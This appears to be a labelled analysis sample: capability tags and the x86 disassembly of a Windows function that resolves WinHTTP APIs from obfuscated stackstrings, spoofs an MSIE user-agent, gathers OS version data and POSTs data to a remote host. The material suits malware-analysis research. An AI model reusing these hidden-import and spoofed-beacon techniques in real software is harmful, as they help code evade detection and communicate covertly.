Function at 0x4735c0
Capabilities:
Contain obfuscated stackstrings
Get system information on windows
Link many functions at runtime
Reference http user-agent string

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x53930b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x8c0
mov eax, dword [0x57d54c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x854], edx
mov dword [ebp - 0x8b8], ecx
mov esi, dword [ebx + 0xc]
mov eax, dword [ebx + 8]
mov dword [ebp - 0x8bc], eax
mov eax, esi
mov dword [ebp - 0x8cc], esi
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x473630
mov eax, dword [esi]
xorps xmm0, xmm0
mov byte [eax], 0
push str.GetNativeSystemInfo
push str.kernel32.dll
mov dword [ebp - 0x85c], 0
mov dword [ebp - 0x858], 0
mov dword [ebp - 0x860], 0
movups xmmword [ebp - 0x890], xmm0
mov dword [ebp - 0x870], 0
movups xmmword [ebp - 0x880], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
test eax, eax
je 0x473694
lea ecx, [ebp - 0x890]
push ecx
call eax
jmp 0x4736a1
lea eax, [ebp - 0x890]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [ebp - 0x890]
cmp ax, 6
je 0x4736c4
cmp ax, 0xa
je 0x4736c4
mov dword [ebp - 0x8b0], 0x20
cmp ax, 9
jne 0x4736ce
mov dword [ebp - 0x8b0], 0x40
push str.RtlGetNtVersionNumbers
push str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call edi
test eax, eax
je 0x473723
lea ecx, [ebp - 0x860]
push ecx
lea ecx, [ebp - 0x858]
push ecx
lea ecx, [ebp - 0x85c]
push ecx
call eax
movzx eax, word [ebp - 0x85c]
mov dword [ebp - 0x85c], eax
movzx eax, word [ebp - 0x858]
mov dword [ebp - 0x858], eax
movzx eax, word [ebp - 0x860]
mov dword [ebp - 0x860], eax
push 0x20a
lea eax, [ebp - 0x270]
push 0
push eax
call fcn.00504c70
add esp, 0xc
lea eax, [ebp - 0x270]
push dword [ebp - 0x8b0]
push dword [ebp - 0x858]
push dword [ebp - 0x85c]
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT__d._d__WOW_d__Trident_5.0_
push 0xffffffffffffffff
push 0x104
push eax
call fcn.004195e0
add esp, 0x1c
call fcn.00418d10
mov dword [ebp - 0x8b0], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x47379f
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x486e6957
push eax
push ecx
mov dword [ebp - 0x34], 0x4f707474
mov dword [ebp - 0x30], 0x6e6570
call edi
mov ecx, dword [ebp - 0x8b0]
mov dword [ecx + 0x14], eax
mov eax, ecx
mov eax, dword [eax + 0x14]
lea ecx, [ebp - 0x270]
push 0
push 0
push 0
push 1
push ecx
call eax
mov dword [ebp - 0x8b0], eax
test eax, eax
je 0x473d2c
call fcn.00418d10
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4737fa
movaps xmm0, xmmword [0x565cb0]
lea eax, [ebp - 0x28]
push eax
push ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x7374
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 0x30], eax
mov eax, ecx
mov eax, dword [eax + 0x30]
push 0x2710
push 0x2710
push 0x2710
push 0x2710
push dword [ebp - 0x8b0]
call eax
call fcn.00418d10
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x47385c
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0x486e6957
push eax
push ecx
mov dword [ebp - 0x44], 0x43707474
mov dword [ebp - 0x40], 0x656e6e6f
mov word [ebp - 0x3c], 0x7463
mov byte [ebp - 0x3a], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 0x24], eax
mov eax, ecx
mov eax, dword [eax + 0x24]
push 0
push 0x50
push dword [ebp - 0x8b8]
push dword [ebp - 0x8b0]
call eax
mov dword [ebp - 0x8b8], eax
test eax, eax
je 0x473ce8
call fcn.00418d10
mov dword [ebp - 0x8ac], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x4738b8
movaps xmm0, xmmword [0x565b70]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x7473
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x8ac]
mov dword [ecx + 8], eax
mov eax, ecx
mov eax, dword [eax + 8]
push 0
push 0
push 0
push 0
push dword [ebp - 0x854]
push str.POST
push dword [ebp - 0x8b8]
call eax
mov dword [ebp - 0x8ac], eax
test eax, eax
je 0x473ca4
push str.Content_Type:application_x_www_form_urlencoded_r_n_r_n
lea ecx, [ebp - 0x8a8]
call fcn.00408010
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0x10
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x8c4], ecx
jb 0x473918
mov eax, dword [eax]
mov dword [ebp - 0x8bc], eax
mov eax, dword [ebp - 0x898]
cmp dword [ebp - 0x894], 8
mov dword [ebp - 0x8c8], eax
lea eax, [ebp - 0x8a8]
cmovae eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x8c0], eax
call fcn.00418d10
mov dword [ebp - 0x8b4], eax
mov eax, dword [eax + 4]
test eax, eax
je 0x473977
movaps xmm0, xmmword [0x565b60]
lea ecx, [ebp - 0x28]
push ecx
push eax
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x7473
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x28], eax
jmp 0x47397d
mov ecx, dword [ebp - 0x8b4]
mov eax, dword [ebp - 0x8c4]
push 0
push eax
push eax
mov eax, dword [ebp - 0x8bc]
push eax
push dword [ebp - 0x8c8]
mov eax, dword [ecx + 0x28]
push dword [ebp - 0x8c0]
push dword [ebp - 0x8ac]
call eax
test eax, eax
jne 0x4739c0
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f10
jmp 0x473c60
call fcn.00418d10
mov dword [ebp - 0x8b4], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x473a00
movaps xmm0, xmmword [0x565af0]
lea eax, [ebp - 0x2c]
push eax
push ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x6e6f7073
mov word [ebp - 0x18], 0x6573
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x2c], eax
mov eax, ecx
mov eax, dword [eax + 0x2c]
push 0
push dword [ebp - 0x8ac]
call eax
test eax, eax
jne 0x473a28
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f10
jmp 0x473c60
mov dword [ebp - 0x86c], 4
call fcn.00418d10
mov dword [ebp - 0x8b4], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x473a68
movaps xmm0, xmmword [0x565ab0]
lea eax, [ebp - 0x2c]
push eax
push ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x737265
call edi
mov ecx, dword [ebp - 0x8b4]
mov dword [ecx + 0x34], eax
mov eax, ecx
mov eax, dword [eax + 0x34]
lea ecx, [ebp - 0x86c]
push 0
push ecx
lea ecx, [ebp - 0x864]
push ecx
push 0
push 0x20000013
push dword [ebp - 0x8ac]
call eax
test eax, eax
je 0x473af7
mov edi, dword [ebp - 0x854]
push 0x55e978
push edi
call fcn.00504427
mov ecx, dword [0x5816a8]
test eax, eax
push 0x5647fc
cmovne ecx, dword [ebp - 0x864]
push edi
mov dword [0x5816a8], ecx
call fcn.00504427
mov ecx, dword [0x5816b0]
test eax, eax
push 0x564900
cmovne ecx, dword [ebp - 0x864]
push edi
mov dword [0x5816b0], ecx
call fcn.00504427
mov ecx, dword [0x5816ac]
add esp, 0x18
test eax, eax
cmovne ecx, dword [ebp - 0x864]
mov dword [0x5816ac], ecx
mov dword [ebp - 0x868], 0
push 0x5dd
lea eax, [ebp - 0x850]
push 0
push eax
call fcn.00504c70
add esp, 0xc
call fcn.00418d10
mov edi, eax
mov eax, dword [edi + 4]
test eax, eax
je 0x473b61
movaps xmm0, xmmword [0x565a90]
lea ecx, [ebp - 0x888]
push ecx
push eax
movups xmmword [ebp - 0x888], xmm0
mov dword [ebp - 0x878], 0x69617641
mov dword [ebp - 0x874], 0x6c62616c
mov word [ebp - 0x870], 0x65
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi + 0x1c], eax
lea eax, [ebp - 0x868]
push eax
push dword [ebp - 0x8ac]
mov eax, dword [edi + 0x1c]
call eax
test eax, eax
je 0x473c48
cmp dword [ebp - 0x868], 0
je 0x473c48
mov dword [ebp - 0x854], 0
call fcn.00418d10
mov edi, eax
mov eax, dword [edi + 4]
test eax, eax
je 0x473bb9
movaps xmm0, xmmword [str.WinHttpReadData]
lea ecx, [ebp - 0x28]
push ecx
push eax
movups xmmword [ebp - 0x28], xmm0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [edi + 0xc], eax
lea eax, [ebp - 0x854]
push eax
push 0x5dc
lea eax, [ebp - 0x850]
push eax
push dword [ebp - 0x8ac]
mov eax, dword [edi + 0xc]
call eax
test eax, eax
je 0x473c48
mov edx, dword [esi + 0x14]
mov eax, edx
mov ecx, dword [esi + 0x10]
sub eax, ecx
mov edi, dword [ebp - 0x854]
cmp edi, eax
ja 0x473c1e
lea eax, [edi + ecx]
mov dword [esi + 0x10], eax
mov eax, esi
cmp edx, 0x10
jb 0x473bfe
mov eax, dword [esi]
lea esi, [eax + ecx]
push edi
lea eax, [ebp - 0x850]
push eax
push esi
call fcn.00505350
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x8cc]
jmp 0x473c3b
push edi
lea eax, [ebp - 0x850]
mov byte [ebp - 0x8c0], 0
push eax
push dword [ebp - 0x8c0]
mov ecx, esi
push edi
call fcn.0040cc70
cmp dword [ebp - 0x868], 0
ja 0x473b01
lea ecx, [ebp - 0x8a8]
mov dword [ebp - 4], 0xffffffff
call fcn.00407f10
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call fcn.00418d10
mov dword [ebp - 0x854], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x473c99
movaps xmm0, xmmword [0x565ad0]
lea eax, [ebp - 0x28]
push eax
push ecx
movups xmmword [ebp - 0x28], xmm0
mov word [ebp - 0x18], 0x656c
mov byte [ebp - 0x16], 0
call edi
mov ecx, dword [ebp - 0x854]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8ac]
mov eax, dword [eax + 0x20]
call eax
call fcn.00418d10
mov dword [ebp - 0x854], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x473cdd
movaps xmm0, xmmword [0x565ad0]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x656c
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x854]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8b8]
mov eax, dword [eax + 0x20]
call eax
call fcn.00418d10
mov dword [ebp - 0x8b8], eax
mov ecx, dword [eax + 4]
test ecx, ecx
je 0x473d21
movaps xmm0, xmmword [0x565ad0]
lea eax, [ebp - 0x5c]
push eax
push ecx
movups xmmword [ebp - 0x5c], xmm0
mov word [ebp - 0x4c], 0x656c
mov byte [ebp - 0x4a], 0
call edi
mov ecx, dword [ebp - 0x8b8]
mov dword [ecx + 0x20], eax
mov eax, ecx
push dword [ebp - 0x8b0]
mov eax, dword [eax + 0x20]
call eax
mov eax, dword [esi + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00501e95
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret